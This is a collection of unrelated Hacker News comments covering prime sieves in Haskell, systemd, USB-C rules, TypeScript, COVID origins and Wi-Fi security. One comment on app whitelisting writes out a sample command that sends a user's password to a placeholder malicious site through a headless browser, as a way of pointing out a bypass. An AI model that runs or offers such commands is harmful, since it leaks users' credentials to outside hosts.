skysight-inc/HackerNews huggingface dataset:
What's developed on that page is not a simple sieve of Eratosthenes. You can of course write a simple prime sieve in Haskell like you would write in any imperative language, and it would be pretty much just as efficient.

The algorithms on that page are for incremental prime sieves. These are far more difficult to implement than a fixed-size sieve. What's more, I would argue that the Haskell implementations on that page are far shorter and easier to understand than the imperative counterparts. Take this version, for example:

joinT ((x:xs):t) = x : union xs (joinT (pairs t))
where pairs (xs:ys:t) = union xs ys : pairs t

gaps k s@(x:xs) | k < x = k:gaps (k+2) s
| otherwise = gaps (k+2) xs

primes = 2 : _Y ((3:) . gaps 5 . joinT . map (\p-> [p*p, p*p+2*p..]))

Compare those 5 lines to any of the algorithms found in:

Pritchard, Paul. ‘Improved Incremental Prime Number Sieves’. In Algorithmic Number Theory, edited by Leonard M. Adleman and Ming-Deh Huang, 280–88. Lecture Notes in Computer Science. Berlin, Heidelberg: Springer, 1994. https://doi.org/10.1007/3-540-58691-1_67.

Sorenson, Jonathan P. ‘Two Compact Incremental Prime Sieves’. LMS Journal of Computation and Mathematics 18, no. 1 (2015): 675–83. https://doi.org/10.1112/S1461157015000194.
Outside of the assertion that it is related to HIV, does the original argument around deliberate insertions hold any water?
People having different opinions is normal, but not all opinions are thereby valid. Promoting genocide or child abuse have a deleterious effect on people in the in the respective target groups and so we sanction such opinions because of their demonstrated harms that result from their implementation.
Sorry, I misunderstood you.
One day a week hardly seems like enough to stay up to date on SOTA research (at least, anything more than being aware it exists).

There are over 200 articles on the arXiv in stat.ML from this week.

https://arxiv.org/list/stat.ML/recent
At this point you'd think systemd was trying to catch up with Emacs as the most 'everything but the kitchen sink' of all the software
I'm not a systemd fan by any means, but yes, there are far more ways Linux is used where this will be useful. There are still compute clusters and terminal servers where the overhead and isolation of a VM is counterproductive, and use cases where containers are not yet secure enough.

I also think it's likely there are future solutions which will be made possible that we can't even imagine right now, through what this brings to the table.
There are very, very few outbreaks where we don't eventually figure out the source.

Like, can you spin the theory that we're missing them? Sure. But there's a pretty strong absence of evidence there, despite a field that's actively looking constantly (and where showing that would further the political and scientific careers of a number of people).
U.S. temporarily bars foreigners who visited China
What is the Windows equivalent of this tool?
You lose the ability to divide after the octonions.
I'm trying to think of a better title and am blanking right now, but it's the "-created" that annoys me - it implies that they fed a bunch of data into a black box and a molecule popped out ready for human testing. What really happened, according to the BBC article, is they enhanced a standard virtual screening pipeline with AI. This is a totally useful and legitimate thing to do and I'm sure it has some cost savings, but they're hand-waving past all of the human labor that is unavoidable in drug discovery.
Systemd can launch an Emacs session, so...
Would a regional (or national) "work remotely" two week period every year help to reduce (eliminate?) the flu virus or something like coronavirus?

Probably there would have to be some skeleton crew of people keeping basic stuff running, but maybe those people could be heavily screened first.
This article approaches gun regulation from the standpoint that the 2nd amendment mostly doesn't exist. It's arguing that the regulations should be consistent with the equal-protection clause. That's basically in-line with what rayiner said: the ACLU doesn't care about the 2nd amendment, and only defends gun issues when they touch other constitutional issues.
"The only reason this happened is that one company refuses to play ball"

No, not at all.

It happened because legislators in the EU don't understand tech, don't understand re-cycling, don't understand the industry, but they all use iPhones+Androids and wonder why 'there are so many goddam cables'. It's a very specific problem that just happens to be visceral and immediate with the people in charge: they can all relate to it. So they want to 'do something' and 'legislation' is what they do.

It's the wrong approach I hope cooler heads prevail.
Whereas the entire point of the regulation is to not need the cord that came with your phone, but to use anyone's. They got tired of all the proprietary connectors back in the feature phone days.
> a Monarch (which is the definitively best way option)

What metric are you using that demonstrates that a monarch is definitively the best way?

> It should definitely be prohibited for one person to have both jobs as is done today.

Why?

> Donald Trump would make a perfectly good figurehead. The world would say yup, that's what we thought, a fat idiot who flashes his money and talks crap, America.

This I agree with.
I suspect most of us are upset not at learning a new thing, but dealing with brand new bugs in new unexpected ways. Learning a new thing has never really been a problem -- fighting instability in new software has always been the issue.

Speaking as a distribution developer, I can say that systemd has bitten me in multiple ways due to upstream bugs that are either ignored or left to rot for quite a while. I've had to resort to patching them, or working around them, which makes things very difficult to live with, especially given the pace of systemd development and feature additions.

The older software had a number of bugs, yes, but they were well known and battle tested. In short, it's not "I don't want to learn" -- it's "the new shiny has a slew of unknown bugs we can't easily identify and fix".

[edit: removing bits of incendiary text]
A beginner’s guide to Roam Research: getting started in 5 easy steps
"I literally quoted the two claims he makes interchangeably."

You did, but I was asking for clarification, since I didn't understand your issue with this. That he uses them "interchangeably"? Maybe we'll have to disagree, since I either I still don't understand, or I do understand and don't think that's true. Assange alleges torture. Assange is allegedly tortured. Those aren't used interchangeably in the interview, and are two distinct concepts.

"They're not mutually exclusive, one is a much more serious claim than the other and yet he's not provided any evidence for it."

Do you know that he's not provided evidence for it? Or do you mean he didn't provide evidence in the interview? What evidence would satisfy you? I guess not the testimony of the two medical experts on torture who examined him in solitary confinement; nor the fact that he has been in solitary confinement for 51 weeks. If you don't know the effects of solitary confinement on the human mind, here are some links: https://duckduckgo.com/?q=solitary+confinement+effects&atb=v...

"As for the other claims by the Swedish police, I can go through every single point that he makes, but I think we'd all agree that's probably over the top for a HN comment. One of the highlights is his assertion that it constitutes misbehaviour for the police to act on a report of a crime simply and should have deferred to the witness's interpretation of the law."

Hmm. To my mind, that's cherry-picking a very weak element and arguing against that. You're absolutely correct that the police should be able to pursue a crime even if the victim does not believe herself to be a victim, and if that were the entirety of the Rapporteur's testimony, or even a major part of it, then you would be correct! But that's not even a trivial point that he makes. Piling on the emotional words "bizarre" and "ridiculous" doesn't strengthen your point.

How about steel-manning your argument against the article?

I live in the Nordic region. It simply never happens that someone is named in the press before trial. And yet, here we have leaks about Assange going out to the press in highly unusual circumstances. From the authorities themselves. Twice.

Along with the woman deciding not to press charges, we have Assange repeatedly turning himself into police to make a statement, and the statement not being accepted. We have Assange informing the prosecutor that he will be leaving the country, and the prosecutor acknowledging this. We have the prosecutor issuing an arrest warrant the day he leaves. We have Assange agreeing to return to Sweden with assurances that he will not be extradited. We have more, but it's all right there in the article.

Out of all of that, you decide to focus on one small component, the weakest, and thereby reject the entirety of the testimony as "bizarre" and "ridiculous".

The Rapporteur has presented some very damning testimony that, if true, indicates the world is less safe for you and me. It's not about Assange. It's not about sexual assault. I don't know why people can't see that.
Very cool!

I never formally learned to type, and have picked up some bad habits over the years because of that. I found GNU typist and finally decided to learn how to touch type "correctly".

I'll definitely supplement GNU typist with your tool for practicing.
I once worked with a guy who had just bought a surplus cylindrical water tank, and wanted to get an idea of what it would weigh when filled. I asked him for the dimensions and multiplied each by 2.5 to convert to approximately centimeters. Then I multiplied the diameter by 3, approximating pi. I converted each to the nearest power of 2 so I could multiply by adding the exponents. Assuming 1 cubic cm of water is 1 gram, I had the log2 weight in grams. Then I subtracted 10 to divide by 1024, getting approximate kilograms. Then added 1 to get approximate pounds. Finally took 2 to the power of the result. By the time he finished telling me the dimensions, I had an answer for him.
It seems to me likely that the number of reported cases of this virus is much lower than the actual number. There are various plausible reasons, eg incubation periods, people not going to the doctors with flu like symptoms, authorities wanting to look in control of the situation.

A reason that might be bad is that it implies the virus is more contagious or at least more widespread than previously thought[1], and therefore more people will suffer from it.

A reason that might be good is that it could imply that the virus is much less deadly than previously thought[1], assuming that the deaths aren’t underreported in the same proportion as infections.

I don’t really have any intuition as to which of these effects is more significant.

[1] I think studies probably try to take underreporting into account and so by “previously thought,” I mean naïvely implied by the statistics.
Casting can hide errors. It's better to assign it to a variable first that has a type declaration.

const dog: Dog = {
breed: "Airedale",
age: 3
}
printDog(dog)

An IIFE is safe too:

printDog(((): Dog => ({
breed: "Airedale",
age: 3
})())
"... start hobbies. And be bad at them." Love it. The reasoning sounds like Chestertonian "common sense."
Have you looked into ACLs and/or setgid with a shared group? Used to do this at work all the time for numerous groups of users. This is definitely possible. You may need to pay attention to your umask.
Ask HN: How do you do software testing?
How do you as developer test your codes? How does your QA team involve in testing? What tools do you use in testing? What are your challenges in testing?
Thank you.

I have fixed the css bug now.
I don’t agree with the article’s claim that discriminated unions are just a JS compat feature. Many APIs type JSON serialised entities using a string property and this feature makes it very easy to write interfaces and code to work with them.
Sad to see you go.

But maybe now, when there is no UK to veto it, we might finally some badly needed reforms to the EU, especially the ones that will bring us closer together. The globalized world is a big place. Together we can compete, seperated we are already lost.

Besides, if the EU does not implement a strong EU wide social program (among many other things) to balance out the quality of life inequalities... we will all soon be living in Germany. With the freedom of movement its already happening.
It's not an easy problem to solve. If you're the only one to speak up - or even a visible person - you or your family might get hurt or killed. These are very nasty, brutal people that run these organizations.

I was just trying to make the point that a lot of Sicilians do talk openly about it, but might react poorly if that's like the first thing you blurt out when you speak to them.
I've used the same USB c charging port in my phone for 2 years without any noticeable wear. I did, however, need to scrape out accumulated pocket lint with a safety pin on two occasions. Are you sure there isn't lint in the port you're basing your assertions on?
The article is just describing quirks, not arguing against them. Specifically for the first example they said "I think that the TypeScript stance here isn’t wrong".
Well, the way you put it, we should be taking up arms right now. If we're not there yet, then there's politics to do.
I see this all the time online, but rarely in the same breath. "I trust the government, which is corrupt and run by evil corporations."
But Facebook, Google, Microsoft, et al are still free to sell phone location data acquired through apps (or Android itself in the case of Google), right? I wonder if there is any hope of laws to limit the ability of companies to sell this data...
The arts and crafts world is full of people expressing themselves through products. Independent software doesn't have to be different.
WireGuard by now is a several-years-old codebase that has seen quite a bit of deployment, thanks to our compat layer for older kernels.
It's an excellent book. But it presupposes that the reader enjoys the processes of learning, discovery, experimenting and lots of failure. The process of becoming an accomplished generalist involves a lot of "struggle".

There are folks who like to keep things simple, consistent and predictable. They are the ones who rarely pick up another book after they finish their education. They also give up far too easily when confronted with a challenge. Nothing wrong with that, but those choices lead to specific outcomes. No pain, no gain.
Respectfully, I think you are making a "classic" mistake in demographics — one of the most counter-intuitive discipline I ever studied.

One TL;DR is that averages give you very, very, very partial information — without at least a median and the standard deviation, it's pretty much meaningless. Math, but applied to stats / demo yields incredibly wrong pictures if you don't look deeper. Think structure, not KPI, and longitudinal trends — what you see today isn't what's "now", a lot of it is what was set up 20, 50, 60 years ago.

Another TL;DR is that the increase in life expectancy is seldom about "how long do people live" but rather "how many of us die too early" — and this is where the fantastic increase in average comes from. The end-of-life expectancy sure rose too, but much less, and is actually starting to fall back down in the US (some other countries too, it's not just Sam, but it's not a generality either).

Thus the ageing of Senators has little correlation with life expectancy, it's a false correlation (again evidenced by biological facts). From a political science / historical standpoint, current epoch looks a lot like e.g. the second half of the Roman Empire ("decadence", although the word is way too negatively connoted if we mean to judge these times through a modern lens — stagnant in influence is more like it, ageing and eating well is another take).

Judging by intuition from having looked at these figures, I'd say the average political apparatus is 20+ years older today than it used to be around the revolution relatively to the active population, in terms of general pyramidal structure (so, beyond averages). Again, not true in all countries — some are even trending younger in Europe, which is about a couple decades ahead of the USA in terms of demographic structure.

Sorry I can't write a book for each of these TL;DR, but the knowledge on how to analyze demographics is there if you Google it.
Some places, they do QA, and when they find something in a random sample, they fix that instance and continue, rather than looking for all the places it happened and why.
No, most manufacturers switched to a standard so they wouldn't have a separate SKU for the EU market. Apple is fighting this because the rent seek hard on patents for their proprietary connectors.
http://archive.is/QoqDe
Excellent reasoning. Thank you very much for your work of keeping this place sane!
The lab theory seems unlikely but out of curiosity, how would a lab approach creating a dangerous virus? Presumably they would iteratively try modifying an existing RNA, synthesize it, then breed the virus and test it on mice?
K9mail has at least two
Interesting idea, it would only help if those people actually stayed home rather than working from a nearby coffeeshop or otherwise going into a public area.

I wonder what percentage of the population would have to work from home in order for this to impact the spread rate.
In 1991, they believed it was an individual right. Now they believe it's a collective right. I don't know of any major cases the ACLU brought on behalf of gun owners (but probably wouldn't know if they had).

https://reason.com/2019/04/12/the-aclu-defends-the-rights-of... has some discussion of this.
Do you have a reference for all the operations you've implemented here? I've found random papers that make reference to ∨, d, and ∂ wrt geometric / exterior algebra, but I haven't really found a comprehensive summary of them, so I've been trying to figure it out myself.
Because we're going to start doing computer graphics in 4D?
Based on my read, it's inexperienced bioinformaticists.
I don't want to get political, but do you think Joe Rogan is an extremist? Jeanine Cummins? What about Ben Shapiro?

These are people that the MSM is trying to cancel quite literally right now.
They understand it just fine, and are the main reason that every phone model doesn't have it's own proprietary connectors like in the feature phone days.
Once you whitelist firefox, couldn't a malicious app bypass this by simply executing "firefox -headless http://badwebsite.com/?exfilleddata=usersPass"?
> I don't need to necessarily know the details of every twist and turn in the road so much as a schematic overview, even when getting turn-by-turn directions

Some cities' street layout aren't so neat that turn-by-turn directions suffice. I often need to zoom-in to distinguish different turns by looking at such details like the curvatures of the streets and their relative placement. Even with the detailed map, I can make a mistake between similar-looking turns.
Managing Golang Code Security
Telcos are regulated carriers, facegoog are not. Maybe one day they will be.
Please don't take HN threads into partisan flamewar. Nothing new will come of it and it's not what this site is for.

https://news.ycombinator.com/newsguidelines.html
How would you show a novice how it's done today?

I've always wanted to learn about compilers, but something tells me the dragon book is no longer the go-to source.
Not all 200 articles in stat.ML are SOTA research.
I recently stumbled across some unlikely part of the web - I think it was Google reviews for a hotel in Nigeria - and people used it as some random web chat. It was very uplifting to see complete strangers just politely saying hello to each other, all from a place where good connectivity still might not be taken for granted.

It reminded me very much of how I first experienced the net in 1995: I was too amazed at talking to some random person from across the world to bother with petty arguments about politics or religion.

Now, novelty has worn off and, perhaps more importantly, for some people it's never been new - they weren't around to consciously and with great curiosity try it out for the first time. Add to this the factor of prevalence, the scale that brings and how centralized things have become.

I used to hang out on different special interest forums and IRC channels and I have to say there was as much drama, cliques, in-fighting and groupthink there as it is now. It was just smaller and more self-contained.

With today's massive community tools like Instagram, Facebook and Twitter, where there are no clear boundaries between factions or groups of interest, it's just a free-for-all: there's always someone willing to argue about something, and they're all on the same platform, which they have access to all the time, as opposed to having to deal with the diplomacy of dial-up and a shared family phone line.

If tech is to blame, it is only because it's too cheap and ubiquitous: The Great Invention that was supposed to bring us together finally has, and it turns out that we just fucking love to argue.
GlassWire. Non-free though. Any OSS that do this are terrible.
The Coming Communication World – From Space
Security is only considered stable after being consumed long enough without holes, so not sure how you're measuring it.
This seems like weird advice to give out.

Sure, it's not as dangerous as it was... Or is it? All the tools are mature now. Documentation is rife. A seven year old with a Raspberry Pi can set up a hotspot and spike your DNS. This thread contains a litany of security papercuts across the whole stack. DNS, shitty apps, crappy server configs and sites that just don't care.

So yeah, it's no 1999. You're probably not getting your FTP password sniffed off a public network these days, but there are still plenty of reasons for me to use 4G or WireGuard instead of trustless networks.

Public Wi-Fi will remain firmly on my "list of things to worry about" until I can audit all traffic from my devices.
There's a couple of possible reasons from the structure of your question:

1. The project really doesn't have that much control. Like packaging any other software, it adds a feature you can choose to install, but it does not affect the distro if you don't enable it.

2. The project generally comes up with good ideas, or at least better ideas than the shared consensus of historical UNIX practice, such that incorporating the product's changes is a sound technical decision.

In this case I suspect it's 1 - the article points out that it's optional.
Because there are people who ruin it for you by fake degrees, changing identities to hide criminal activities and so on.
It's just being honest, not insulting. Most people don't understand e2ee. They don't realize that reclaiming some privacy is an option available to them right now. (Or, they don't care, in which case I really do have less sympathy.)
How does TypeScript ensure encapsulation if it doesn't have nominal types?

Edit: The article says "magical hidden properties".
I’m with you on this. After the big Reddit hate sub quarantine a few years back, I started including /pol/ in my list of websites to check when a big geopolitical event is happening because I don’t trust Reddit et al. to give me the “complete” story anymore. If you read with a skeptical eye, it can be surprisingly informative.

I actually find these alternate sites useful for monitoring the latest foreign propaganda because my spouse is from a country with a hostile relationship to the U.S. and consumes most of her news in her native language, which is full of misinformation. I can now more clearly understand where she gets her opinions from sometimes and we can talk it out.